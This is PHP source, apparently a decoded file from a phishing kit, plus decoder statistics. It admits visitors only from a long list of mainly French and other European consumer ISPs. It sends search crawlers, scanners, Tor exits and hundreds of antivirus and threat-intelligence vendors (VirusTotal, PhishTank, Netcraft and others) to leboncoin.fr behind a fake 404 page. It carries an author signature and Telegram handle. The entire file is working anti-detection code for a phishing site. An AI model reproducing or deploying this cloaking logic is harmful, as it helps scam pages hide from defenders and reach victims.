strpos(strtolower($org),"knet") ||
strpos(strtolower($org),"tutor") ||
strpos(strtolower($org),"covage") ||
strpos(strtolower($org),"teranet") ||
strpos(strtolower($org),"teranet5") ||
strpos(strtolower($org),"celeste") ||
strpos(strtolower($org),"adeli") ||
strpos(strtolower($org),"milkywan") ||
strpos(strtolower($org),"gitoyen") ||
strpos(strtolower($org),"oxid") ||
strpos(strtolower($org),"salt") ||
strpos(strtolower($org),"wimifi") ||
strpos(strtolower($org),"telegraph") ||
strpos(strtolower($org),"dauphin") ||
strpos(strtolower($org),"vodafone") ||
strpos(strtolower($org),"telefonica") ||
strpos(strtolower($org),"masmovil") ||
strpos(strtolower($org),"renater") ||
strpos(strtolower($org),"netcom") ||
strpos(strtolower($org),"colt") ||
strpos(strtolower($org),"eurafibre") ||
strpos(strtolower($org),"fibre") ||
strpos(strtolower($org),"fiber") ||
strpos(strtolower($org),"sewan") ||
strpos(strtolower($org),"axialys") ||
strpos(strtolower($org),"muona") ||
strpos(strtolower($org),"netensia") ||
strpos(strtolower($org),"ecritel") ||
strpos(strtolower($org),"canal") ||
strpos(strtolower($org),"oxyd") ||
strpos(strtolower($org),"exalead") ||
strpos(strtolower($org),"onati") ||
strpos(strtolower($org),"viti") ||
strpos(strtolower($org),"sunrise") ||
strpos(strtolower($org),"wingo") ||
strpos(strtolower($org),"wingo-bedc") ||
strpos(strtolower($org),"bluewin") ||
strpos(strtolower($org),"migros6") ||
strpos(strtolower($org),"migros") ||
strpos(strtolower($org),"cablecom") ||
strpos(strtolower($org),"netplusfr") ||
strpos(strtolower($org),"netplus") ||
strpos(strtolower($org),"ipworldcom") ||
strpos(strtolower($org),"swisscom") ||
strpos(strtolower($org),"migros-genossenschafts-bund") ||
strpos(strtolower($org),"vtx") ||
strpos(strtolower($org),"upc") ||
strpos(strtolower($org),"netplus.ch") ||
strpos(strtolower($org),"worldcom") ||
strpos(strtolower($org),"video2000") ||
strpos(strtolower($org),"fastnet") ||
strpos(strtolower($org),"green.ch") ||
strpos(strtolower($org),"green") ||
strpos(strtolower($org),"dfi") ||
strpos(strtolower($org),"citycable") ||
strpos(strtolower($org),"ntd") ||
strpos(strtolower($org),"sa7") ||
strpos(strtolower($org),"coop") ||
strpos(strtolower($org),"m-budget") ||
strpos(strtolower($org),"mbudget") ||
strpos(strtolower($org),"budget") ||
strpos(strtolower($org),"monzoon") ||
strpos(strtolower($org),"gespot") ||
strpos(strtolower($org),"init7") ||
strpos(strtolower($org),"zattoo") ||
strpos(strtolower($org),"yallo") ||
strpos(strtolower($org),"tele+") ||
strpos(strtolower($org),"teleboy") ||
strpos(strtolower($org),"lebara") ||
strpos(strtolower($org),"iway.ch") ||
strpos(strtolower($org),"iway") ||
strpos(strtolower($org),"teleking") ||
strpos(strtolower($org),"sak") ||
strpos(strtolower($org),"quickline") ||
strpos(strtolower($org),"ewb") ||
strpos(strtolower($org),"netvoip") ||
strpos(strtolower($org),"solnet") ||
strpos(strtolower($org),"thurcom") ||
strpos(strtolower($org),"netconnect") ||
strpos(strtolower($org),"interxs") ||
strpos(strtolower($org),"tv plus") ||
strpos(strtolower($org),"tvplus") ||
strpos(strtolower($org),"tv") ||
strpos(strtolower($org),"o2") ||
strpos(strtolower($org),"kabel") ||
strpos(strtolower($org),"tele2") ||
strpos(strtolower($org),"skydsl") ||
strpos(strtolower($org),"ee") ||
strpos(strtolower($org),"sky") ||
strpos(strtolower($org),"virgin") ||
strpos(strtolower($org),"talktalk") ||
strpos(strtolower($org),"three") ||
strpos(strtolower($org),"voo") ||
strpos(strtolower($org),"scarlet-tis") ||
strpos(strtolower($org),"telenet") ||
strpos(strtolower($org),"combell") ||
strpos(strtolower($org),"coditel") ||
strpos(strtolower($org),"brutele") ||
strpos(strtolower($org),"pccw") ||
strpos(strtolower($org),"destiny") ||
strpos(strtolower($org),"capgemini") ||
strpos(strtolower($org),"sprintlink") ||
strpos(strtolower($org),"verixi") ||
strpos(strtolower($org),"rediris") ||
strpos(strtolower($org),"entidad") ||
strpos(strtolower($org),"xtra") ||
strpos(strtolower($org),"avatel") ||
strpos(strtolower($org),"anxar") ||
strpos(strtolower($org),"xfera") ||
strpos(strtolower($org),"lowi") ||
strpos(strtolower($org),"yoigo") ||
strpos(strtolower($org),"italia") ||
strpos(strtolower($org),"tim") ||
strpos(strtolower($org),"windtre") ||
strpos(strtolower($org),"vodaphone") ||
strpos(strtolower($org),"fastweb") ||
strpos(strtolower($org),"garr") ||
strpos(strtolower($org),"tiscali") ||
strpos(strtolower($org),"etisalat") ||
strpos(strtolower($org),"itissalat") ||
strpos(strtolower($org),"pjsc") ||
strpos(strtolower($org),"horizonsat") ||
strpos(strtolower($org),"higher") ||
strpos(strtolower($org),"telstra") ||
strpos(strtolower($org),"singtel") ||
strpos(strtolower($org),"optus") ||
strpos(strtolower($org),"tpg") ||
strpos(strtolower($org),"iinet") ||
strpos(strtolower($org),"iprimus") ||
strpos(strtolower($org),"verizon") ||
strpos(strtolower($org),"shaw") ||
strpos(strtolower($org),"bell") ||
strpos(strtolower($org),"rogers") ||
strpos(strtolower($org),"telus") ||
strpos(strtolower($org),"videotron") ||
strpos(strtolower($org),"ebox") ||
strpos(strtolower($org),"aerienne") ||
strpos(strtolower($org),"telensia") ||
strpos(strtolower($org),"convergence") ||
strpos(strtolower($org),"convergence.com") ||
strpos(strtolower($org),"plt") ||
strpos(strtolower($org),"kiwi") ||
strpos(strtolower($org),"numerisat") ||
strpos(strtolower($org),"nerim") ||
strpos(strtolower($org),"keyyo") ||
strpos(strtolower($org),"lorraine") ||
strpos(strtolower($org),"faimaison") ||
strpos(strtolower($org),"aquilenet") ||
strpos(strtolower($org),"stolon") ||
strpos(strtolower($org),"gixe") ||
strpos(strtolower($org),"tetaneutral.net") ||
strpos(strtolower($org),"declaree") ||
strpos(strtolower($org),"gandi") ||
strpos(strtolower($org),"alsace") ||
strpos(strtolower($org),"neutre") ||
strpos(strtolower($org),"aurore") ||
strpos(strtolower($org),"auvernet") ||
strpos(strtolower($org),"absolight") ||
strpos(strtolower($org),"hivane") ||
strpos(strtolower($org),"grifon") ||
strpos(strtolower($org),"grenode") ||
strpos(strtolower($org),"igwan.net") ||
strpos(strtolower($org),"hurricane") ||
strpos(strtolower($org),"iloth") ||
strpos(strtolower($org),"enst") ||
strpos(strtolower($org),"sames") ||
strpos(strtolower($org),"scani") ||
strpos(strtolower($org),"swissneutralnet") ||
strpos(strtolower($org),"ftth") ||
strpos(strtolower($org),"luxembourg online") ||
strpos(strtolower($org),"post") ||
strpos(strtolower($org),"pt-lu") ||
strpos(strtolower($org),"cegecom") ||
strpos(strtolower($org),"visual") ||
strpos(strtolower($org),"telkea") ||
strpos(strtolower($org),"edpnet") ||
strpos(strtolower($org),"tango") ||
strpos(strtolower($org),"altushost") ||
strpos(strtolower($org),"heliantis") ||
strpos(strtolower($org),"airmob") ||
strpos(strtolower($org),"alcatraz") ||
strpos(strtolower($org),"altsysnet") ||
strpos(strtolower($org),"armor") ||
strpos(strtolower($org),"connexia") ||
strpos(strtolower($org),"arelion") ||
strpos(strtolower($org),"ariege") ||
strpos(strtolower($org),"atos") ||
strpos(strtolower($org),"capaix") ||
strpos(strtolower($org),"sncf") ||
strpos(strtolower($org),"completel") ||
strpos(strtolower($org),"saclay") ||
strpos(strtolower($org),"moselle-telecom") ||
strpos(strtolower($org),"teloise") ||
strpos(strtolower($org),"telwan") ||
strpos(strtolower($org),"weaccess") ||
strpos(strtolower($org),"k-net") ||
strpos(strtolower($org),"kertel") ||
strpos(strtolower($org),"iris64") ||
strpos(strtolower($org),"syma") ||
strpos(strtolower($org),"skylogic") ||
strpos(strtolower($org),"sdnum") ||
strpos(strtolower($org),"pactoo") ||
strpos(strtolower($org),"rezocean") ||
strpos(strtolower($org),"prosoluce") ||
strpos(strtolower($org),"haut-rhin") ||
strpos(strtolower($org),"herault") ||
strpos(strtolower($org),"netiwan") ||
strpos(strtolower($org),"manche") ||
strpos(strtolower($org),"linkt") ||
strpos(strtolower($org),"inolia") ||
strpos(strtolower($org),"izarlink") ||
strpos(strtolower($org),"nomotech") ||
strpos(strtolower($org),"orne") ||
strpos(strtolower($org),"paritel") ||
strpos(strtolower($org),"hub") ||
strpos(strtolower($org),"sct") ||
strpos(strtolower($org),"owentis") ||
strpos(strtolower($org),"communaute") ||
strpos(strtolower($org),"flex") ||
strpos(strtolower($org),"ielo-liazo") ||
strpos(strtolower($org),"airbus") ||
strpos(strtolower($org),"srr") ||
strpos(strtolower($org),"scs") ||
strpos(strtolower($org),"sicae") ||
strpos(strtolower($org),"regie") ||
strpos(strtolower($org),"rostelecom") ||
strpos(strtolower($org),"medialys") ||
strpos(strtolower($org),"c@p") ||
strpos(strtolower($org),"voironnais") ||
strpos(strtolower($org),"koesio") ||
strpos(strtolower($org),"lyre") ||
strpos(strtolower($org),"g3") ||
strpos(strtolower($org),"m-net") ||
strpos(strtolower($org),"fondation") ||
strpos(strtolower($org),"liberty") ||
strpos(strtolower($org),"chello") ||
strpos(strtolower($org),"belgacom") ||
strpos(strtolower($org),"skynet") ||
strpos(strtolower($org),"aol") ||
strpos(strtolower($org),"neuf") ||
strpos(strtolower($org),"darty") ||
strpos(strtolower($org),"bouygue") ||
strpos(strtolower($org),"num\303\251ris") ||
strpos(strtolower($org),"association") ||
strpos(strtolower($org),"midway's") ||
strpos(strtolower($org),"midway") ||
strpos(strtolower($org),"as8632") ||
strpos(strtolower($org),"hotcity") ||
strpos(strtolower($org),"c.r.t.") ||
strpos(strtolower($org),"crt.") ||
strpos(strtolower($org),"beauchiere") ||
strpos(strtolower($org),"telandgo") ||
strpos(strtolower($org),"regies") ||
strpos(strtolower($org),"radiotelephone") ||
strpos(strtolower($org),"outremer") ||
strpos(strtolower($org),"wifiber") ||
strpos(strtolower($org),"wifiber.es") ||
strpos(strtolower($org),"wifiberes") ||
strpos(strtolower($org),"tecnotel") ||
strpos(strtolower($org),"television") ||
strpos(strtolower($org),"tcable") ||
strpos(strtolower($org),"astra") ||
strpos(strtolower($org),"g-core") ||
strpos(strtolower($org),"serveurcom") ||
$ip == "::1" ||
$ip == "127.0.0.1"
)
{
}
else{
echo '<html><head>
<META HTTP-EQUIV="refresh" CONTENT="0.01;URL=https://leboncoin.fr">
</head><body>
<h1>Not Found 404</h1>
<p>the server is now under maintenance ...</p>
</body></html>';
exit;
}
// ...
$Botname = array( // LIST BOOTS NAME
"bot",
"bots",
"httrack",
"organicos",
"hyperbrowser",
"java1.1.4",
"above",
"google",
"googlebot",
"googlebot.com",
"googleusercontent",
"googleusercontent.com",
"softlayer",
"amazonaws",
"aws",
"cyveillance",
"compatible",
"urlscan",
"urlscan.io",
"fban",
"fban/messengerlite",
"facebot",
"facebook",
"facebookexternalhit/1.1",
"+http://www.facebook.com/externalhit_uatext.php",
"facebookexternalhit/",
"externalfacebookhit",
"censysinspect",
"censysinspect/",
"censys",
"phishtank",
"dreamhost",
"netpilot",
"calyxinstitute",
"tor-exit",
"apache-httpclient",
"lssrocketcrawler",
"trident",
"x11",
"crawler",
"urlredirectresolver",
"jetbrains",
"sunos",
"ppc",
"spam",
"win95",
"win98",
"windows95",
"windows98",
"acunetix",
"netsparker",
"007ac9",
"008",
"192.comagent",
"200pleasebot",
"360spider",
"4seohuntbot",
"50.nu",
"a6-indexer",
"admantx",
"amznkassocbot",
"aboundexbot",
"aboutusbot",
"abravespider",
"accelobot",
"acoonbot",
"addthis.com",
"adsbot-google",
"mediapartners-google",
"googlebot-image",
"googlebot-mobile",
"googlebot-video",
"bingbot",
"go-http-client",
"go-http-client/1.1",
"http-banner-detection",
"zgrab",
"aiohttp",
"aiohttp/3.6.0",
"python-httpx",
"python-urllib3",
"python-requests",
"python/",
"masscan",
"masscan/",
"baiduspider",
"baiduspider/",
"baiduspider-",
"naverbot",
"ahrefsbot",
"alexabot",
"amagit.com",
"analytics",
"antbot",
"apercite",
"aportworm",
"arabot",
"crawl",
"slurp",
"spider",
"seek",
"accoona",
"acoon",
"adressendeutschland",
"ah-ha.com",
"ahoy",
"altavista",
"ananzi",
"anthill",
"appie",
"arachnophilia",
"arale",
"araneo",
"aranha",
"architext",
"aretha",
"arks",
"asterias",
"atlocal",
"atn",
"atomz",
"augurfind",
"backrub",
"bannana_bot",
"baypup",
"bdfetch",
"bigbrother",
"biglotron",
"bjaaland",
"blackwidow",
"blaiz",
"blog",
"blo.",
"bloodhound",
"boitho",
"booch",
"bradley",
"butterfly",
"calif",
"cassandra",
"ccubee",
"cfetch",
"charlotte",
"churl",
"cienciaficcion",
"cmc",
"cat-quickheal",
"mcafee",
"mcafee-gw-edition",
"fireeye",
"malwarebytes",
"collective",
"comagent",
"combine",
"computingsite",
"csci",
"curl",
"cusco",
"daumoa",
"deepindex",
"delorie",
"depspid",
"deweb",
"dieblindekuh",
"digger",
"ditto",
"dmoz",
"docomo",
"downloadexpress",
"dtaagent",
"dwcp",
"ebiness",
"ebingbong",
"e-collector",
"ejupiter",
"emacs-w3searchengine",
"esther",
"evliyacelebi",
"ezresult",
"falcon",
"felixide",
"ferret",
"fetchrover",
"fido",
"findlinks",
"fireball",
"fishsearch",
"fouineur",
"funnelweb",
"gazz",
"gcreep",
"genieknows",
"getterroboplus",
"geturl",
"glx",
"goforit",
"golem",
"grabber",
"grapnel",
"gralon",
"griffon",
"gromit",
"grub",
"gulliver",
"hamahakki",
"harvest",
"havindex",
"helix",
"heritrix",
"hkuwwwoctopus",
"homerweb",
"htdig",
"htmlindex",
"html_analyzer",
"htmlgobble",
"hubater",
"hyper-decontextualizer",
"ia_archiver",
"ibm_planetwide",
"ichiro",
"iconsurf",
"iltrovatore",
"image.kapsi.net",
"imagelock",
"incywincy",
"indexer",
"infobee",
"informant",
"ingrid",
"inktomisearch.com",
"inspectorweb",
"intelliagent",
"internetshinchakubin",
"ip3000",
"iron33",
"israeli-search",
"ivia",
"jack",
"jakarta",
"javabee",
"jetbot",
"jumpstation",
"katipo",
"kdd-explorer",
"kilroy",
"knowledge",
"kototoi",
"kretrieve",
"labelgrabber",
"lachesis",
"larbin",
"legs",
"libwww",
"linkalarm",
"linkvalidator",
"linkscan",
"lockon",
"lwp",
"lycos",
"magpie",
"mantraagent",
"mapoftheinternet",
"marvin/",
"mattie",
"mediafox",
"mediapartners",
"mercator",
"merzscope",
"microsofturlcontrol",
"smartscreen.microsoft.com",
"microsoft-defender-smartscreen",
"virus-and-threat-protection",
"microsoft.com",
"microsoft",
"smartscreen",
"gridinsoft",
"robots",
"defender",
"copier",
"webcopier",
"malware",
"safetoopen",
"vipre",
"phishlabs",
"netcraft",
"cyan",
"criminal",
"criminalip",
"criminalip.io",
"zerofox",
"zerofox.com",
"proofpoint",
"proofpoint.com",
"trendmicro",
"trendmicro-housecall",
"trendmicro.com",
"avast",
"avast-mobile",
"clamav",
"cynet",
"ahnlab-v3",
"ahnlab",
"trustwave",
"trustwave.com",
"arcsight",
"zerocert",
"xcitium",
"arcabit",
"superantispyware",
"zonealarm",
"ZoneAlarm by Check Point",
"bkav",
"cybereason",
"escan",
"zillya",
"minirank",
"miva",
"mj12",
"mnogosearch",
"moget",
"monster",
"moose",
"motor",
"multitext",
"muncher",
"muscatferret",
"mwd.search",
"myweb",
"najdi",
"nameprotect",
"nationaldirectory",
"nazilla",
"ncsabeta",
"nec-meshexplorer",
"nederland.zoek",
"netcartawebmapengine",
"netmechanic",
"netresearchserver",
"netscoop",
"newscan-online",
"nhse",
"nokia6682/",
"nomad",
"noyona",
"nutch",
"nzexplorer",
"objectssearch",
"occam",
"omni",
"opentext",
"openfind",
"openintelligencedata",
"orbsearch",
"osis-project",
"packrat",
"pageboy",
"pagebull",
"page_verifier",
"panscient",
"parasite",
"partnersite",
"patric",
"pear.",
"pegasus",
"peregrinator",
"pgpkeyagent",
"phantom",
"phpdig",
"picosearch",
"piltdownman",
"pimptrain",
"pinpoint",
"pioneer",
"piranha",
"plumtreewebaccessor",
"pogodak",
"poirot",
"pompos",
"poppelsdorf",
"poppi",
"populariconoclast",
"psycheclone",
"publisher",
"python",
"rambler",
"ravensearch",
"roach",
"roadrunner",
"roadhouse",
"robbie",
"robofox",
"robozilla",
"rules",
"salty",
"sbider",
"scooter",
"scoutjet",
"scrubby",
"search.",
"searchprocess",
"semanticdiscovery",
"senrigan",
"sg-scout",
"shai'hulud",
"shark",
"shopwiki",
"sidewinder",
"sift",
"silk",
"simmany",
"sitesearcher",
"sitevalet",
"sitetech-rover",
"skymob.com",
"skymob",
"sleek",
"smartwit",
"sna-",
"snappy",
"snooper",
"sohu",
"speedfind",
"sphere",
"sphider",
"spinner",
"spyder",
"steeler/",
"suke",
"suntek",
"supersnooper",
"surfnomore",
"sven",
"sygol",
"szukacz",
"tachblackwidow",
"tarantula",
"templeton",
"/teoma",
"t-h-u-n-d-e-r-s-t-o-n-e",
"theophrastus",
"titan",
"titin",
"tkwww",
"toutatis",
"t-rex",
"tutorgig",
"twiceler",
"twisted",
"ucsd",
"udmsearch",
"urlcheck",
"updated",
"vagabondo",
"valkyrie",
"verticrawl",
"victoria",
"vision-search",
"volcano",
"voyager/",
"voyager-hc",
"w3c_validator",
"w3m2",
"w3mir",
"walker",
"wallpaper",
"wanderer",
"wauuu",
"wavefire",
"webcore",
"webhopper",
"webwombat",
"webbandit",
"webcatcher",
"webcopy",
"webfoot",
"weblayers",
"weblinker",
"weblogmonitor",
"webmirror",
"webmonkey",
"webquest",
"webreaper",
"websitepulse",
"websnarf",
"webstolperer",
"webvac",
"webwalk",
"webwatch",
"webzinger",
"wget",
"wget/",
"whizbang",
"whowhere",
"wildferret",
"worldlight",
"wwwc",
"wwwster",
"xenu",
"xift",
"xirq",
"yandex",
"sentinelone",
"tachyon",
"yanga",
"yeti",
"abusix",
"acronis",
"vba32",
"alyac",
"tachyo",
"zoner",
"tencent",
"adminuslabs",
"aicc",
"monitorapp",
"alienvault",
"alphamountain.ai",
"alphamountain",
"alphasoc",
"antiy-avl",
"avira",
"benkow.cc",
"bfore.ai",
"bfore",
"precrime",
"bitdefender",
"crowdstrike",
"crowdstrike falcon",
"cylance",
"deepinstinct",
"nano-antivirus",
"virobot",
"trustlook",
"trapmine",
"f-secure",
"bitdefenderfalx",
"bitdefendertheta",
"virit",
"cyren",
"symantec",
"symantec mobile insight",
"blocklist",
"blueliv",
"certego",
"chongluadao",
"cinsarmy",
"cmcthreatintelligence",
"crdf",
"cyble",
"cyradar",
"desenmascara.me",
"desenmascara",
"dns8",
"dr.web",
"drweb",
"emergingthreats",
"emsisoft",
"ikarus",
"sangfor engine zero",
"sangfor",
"gdata",
"jiangmin",
"max",
"maxsecure",
"eset",
"eset-nod32",
"nod32",
"estsecurity",
"feodotracker",
"tracker",
"forcepoint",
"threatseeker",
"fortinet",
"avg",
"panda",
"g-data",
"safebrowsing",
"greensnow",
"heimdalsecurity",
"ipsum",
"juniper",
"k7antivirus",
"alibaba",
"k7gw",
"kaspersky",
"lionic",
"elastic",
"microworld-escan",
"malwared",
"malwarepatrol",
"malwares.com",
"malwares",
"checker",
"check",
"openphish",
"phishingdatabase",
"phishing",
"prebytes",
"quickheal",
"secureage",
"quttera",
"rising",
"scantitan",
"scumware.org",
"scumware",
"seclookup",
"securebrain",
"securolytics",
"snort",
"sophos",
"tehtris",
"trellix",
"spam404",
"stopforumspam",
"sucurisitecheck",
"sitecheck.sucuri.net",
"sitecheck",
"sucuri",
"threathive",
"threatsourcing",
"urlhaus",
"threat",
"viriback",
"vxvault",
"webroot",
"0xsi_f33d",
"unrated",
"autoshun",
"cluster25",
"crowdsec",
"lumu",
"phishfort",
"precisionsec",
"urlquery",
"pcrisk.com",
"pcrisk",
"scanner.pcrisk.com",
"webscan",
"malcure",
"securityscan.getastra.com",
"securityscan",
"getastra",
"malcare",
"malware-scan",
"malwarescan",
"virustotal.com",
"virustotal",
"malware-scanning",
"sitelock.com",
"sitelock",
"internetmeasurement",
"internetmeasurement/",
"netcraftsurveyagent",
"netcraftsurveyagent/",
"feeder.co",
"+feeder.co",
"+feeder.co/crawler",
"Palo Alto Networks",
"a palo alto networks company",
"paloaltonetworks.com",
"paloaltonetworks",
"[email protected]",
"yandexbot",
"yandexmobilebot",
"yandexvideo",
"yandexwebmaster",
"yandexsitelinks",
"seznambot",
"twitterbot",
"telegrambot",
"adidxbot",
"yahoo pipes 1.0",
"htdig/3.1.6",
"teleport pro",
"yacybot",
"browsershots",
"exabot",
"fast corporate crawler",
"psnsearch",
"magpierss",
"magpie-crawler/1.1",
"magpie-crawler",
"haosouspider",
"sogou web spider",
"sogou inst spider",
"sogou spider2",
"hcgov-prodtwo-gsa-crawler",
"hcgov-prodone-gsa-crawler",
"duckduckbot",
"webtech",
"webtech/1.2.8",
"yahoo!");
foreach ($Botname as $word2) {
if (stripos($_SERVER['HTTP_USER_AGENT'],$word2)){
exit(header('Location: https://leboncoin.fr'));
}
}
// Making by RODONDO
// Telegram : @rodondo1er
?>Function Calls
| None |
Stats
| MD5 | 193b34c3fa924a5ead7a53bf8f005309 |
| Eval Count | 0 |
| Decode Time | 210 ms |